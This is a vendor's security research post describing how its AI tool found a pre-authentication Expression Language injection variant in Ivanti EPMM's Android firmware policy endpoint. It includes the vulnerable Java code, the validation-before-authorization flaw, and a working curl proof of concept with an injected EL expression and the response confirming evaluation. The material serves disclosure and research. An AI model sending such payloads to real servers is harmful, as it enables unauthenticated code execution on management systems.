Hacktron

After CVE-2025-4427 and CVE-2025-4428, which described a pre-auth RCE chain in Ivanti EPMM, we wondered whether there were more variants. We had Hacktron, our AI-powered security researcher, analyze similar code paths, validate error handling logic, and trace other EL injection surfaces.

It found a previously undocumented pre-authenticated RCE variant in Ivanti EPMM via a different endpoint: /api/v2/policy/androidfirmware.

Another EL injection

Just like the initially reported vulnerability, this new variant also stems from an Expression Language (EL) injection flaw. The root cause is in how the validator handles user-supplied data. Specifically, the AndroidFirmwarePolicyRequestValidator processes the deviceModel parameter, which is part of the ZebraFirmwareSelection object within the request body.

If a validation error occurs related to this deviceModel, the provided input is directly incorporated into the error message template.

As we learned from the previous analysis blogposts by ProjectDiscovery and watchTowr, Hibernate Validator’s ConstraintValidatorContext.buildConstraintViolationWithTemplate(String messageTemplate) function allows developers to create dynamic error messages. However, if the messageTemplate incorporates unsanitized user input, it creates a critical security issue. Hibernate Validator, especially when integrated with Spring, can interpret ${...} within these templates as Expression Language (EL) expressions.

The /api/v2/policy/androidfirmware endpoint, handled by AndroidFirmwarePolicyControllerV2, is protected by Spring Security’s @PreAuthorize annotation, which should restrict access to authorized users.

Spring order of operations

Although the endpoint is protected with Spring Security’s @PreAuthorize annotation, the bug lies in the order of operations:

  • Bean validation (via @Valid) runs before Spring Security authorization.

  • That means attackers can trigger EL-based validation errors before any auth checks are enforced.

This design flaw let unauthenticated users trigger the validation logic and, through it, execute code.

Hacktron’s findings

Hacktron traced the data flow and pinpointed the vulnerable components:

The AndroidFirmwarePolicyControllerV2.java controller handles the /api/v2/policy/androidfirmware endpoint with createPolicy (POST) and updatePolicy (PUT) methods. Both methods use @PreAuthorize for access control and @Valid to trigger validation of the AndroidFirmwarePolicyRequest:

@RequestMapping(method = {RequestMethod.POST})
@PreAuthorize("hasPermissionForSpace(#adminDeviceSpaceId, {'PERM_POLICY_EDIT'})")
@ResponseBody
public Response createPolicy(@RequestParam(defaultValue = "0") Integer adminDeviceSpaceId, @Valid @RequestBody final AndroidFirmwarePolicyRequest policyRequest, /* ... */) {
// ...
}
@RequestMapping(method = {RequestMethod.PUT}, value = {"/{policyId}"})
@PreAuthorize("hasPermissionForSpace(#adminDeviceSpaceId, {'PERM_POLICY_EDIT'})")
@ResponseBody
public Response updatePolicy(@RequestParam(defaultValue = "0") int adminDeviceSpaceId, @PathVariable @Valid final Long policyId, @Valid @RequestBody final AndroidFirmwarePolicyRequest policyRequest, /* ... */) {
// ...
}

This custom validator, triggered by @ValidAndroidFirmwarePolicyRequest on the request object, contains the vulnerable logic. The validateZebraFirmwareSelection method, called during validation, can lead to the invocation of setLocalizedErrorMessageToContext:

private boolean setLocalizedErrorMessageToContext(final ConstraintValidatorContext context, final EFOTAMessageKey messageKey, Object... params) {
String formatMessage = this.localizedMessageBuilder.getLocalizedMessage(messageKey, params);
context.disableDefaultConstraintViolation();
context.buildConstraintViolationWithTemplate(formatMessage).addConstraintViolation();
return false;
}

The call chain is isValid → isValidZebraFirmwareSetting → validateZebraFirmwareSelection → setLocalizedErrorMessageToContext.

Proof of concept

To demonstrate the potential vulnerability, Hacktron crafted the following curl request. By injecting an EL expression into the deviceModel field and ensuring other validation criteria trigger an error message that uses this field, we can observe if the expression is evaluated:

curl request
curl -X POST -k -H "Content-Type: application/json" --data '''
{
"policyName": "adminzz",
"active": true,
"policyPriority": 1,
"policylistname": 2,
"description": "aaaaa",
"enableAndroidSystemUpdate": true,
"updateType": "automatic",
"updateWindowStartHour": "",
"updateWindowEndHour": "",
"forceUpdateStartDate": "",
"forceUpdateStartHour": "",
"zebraRequireCharging": true,
"zebraRequireIdle": true,
"policyId": 3,
"priority": 0,
"enableSamsungFirmwareUpdate": false,
"enableZebraFirmwareUpdate": true,
"zebraDownloadOverMeteredNetwork": false,
"freezePeriods": [],
"deviceFirmwareSelections": [],
"zebraFirmwareSelections": [
{
"deviceModel": "${3*3333}",
"targetBuildId": "NA",
"currentBuildId": "dummyBuildId",
"downloadUrl": "http://example.com/dummy.zip",
"fileSize": 1024,
"osVersion": "1x0.0",
"artifactFingerprint": "dummyfingerprint",
"securityPatchDate": "2023-01-01"
}
],
"forceUpdateEndDate": "",
"forceUpdateEndHour": ""
}
''' https://ivant-epmm/api/v2/policy/androidfirmware

Response:

{
"messages": [
{
"type": "Error",
"messageKey": "com.mobileiron.vsp.messages.validation.global.error",
"localizedMessage": "9999: The Target Build ID for the selected firmware cannot be null.",
"messageParameters": [
"9999: The Target Build ID for the selected firmware cannot be null."
]
}
]
}

Automating variant analysis with Hacktron

We first tasked Hacktron with reversing the original CVE (CVE-2025-4427). Once it successfully identified the known vulnerability and understood the underlying EL injection via Hibernate Validator, we asked it to initiate variant analysis with the following prompt:

Objective

Your task is to find a variant of the below described vulnerability…

We initially thought this was a 0-day and reported the bug to Ivanti. However, after reporting, we concluded that this variant doesn’t affect the latest version due to the Hibernate Validator version upgrade. Still, it reveals how dangerous code patterns can slip through even after fixing known sinks (ScepSubjectValidator and DeviceFeatureUsageReportQueryRequestValidator).

Google Project Zero wrote in a blog post:

We also feel that this variant-analysis task is a better fit for current LLMs than the more general open-ended vulnerability research problem. By providing a starting point – such as the details of a previously fixed vulnerability – we remove a lot of ambiguity from vulnerability research, and start from a concrete, well-founded theory: “This was a previous bug; there is probably another similar one somewhere”.

Hacktron started from the original vulnerability and searched the rest of the codebase for the same pattern.

To have Hacktron look for vulnerabilities in your codebase, contact us.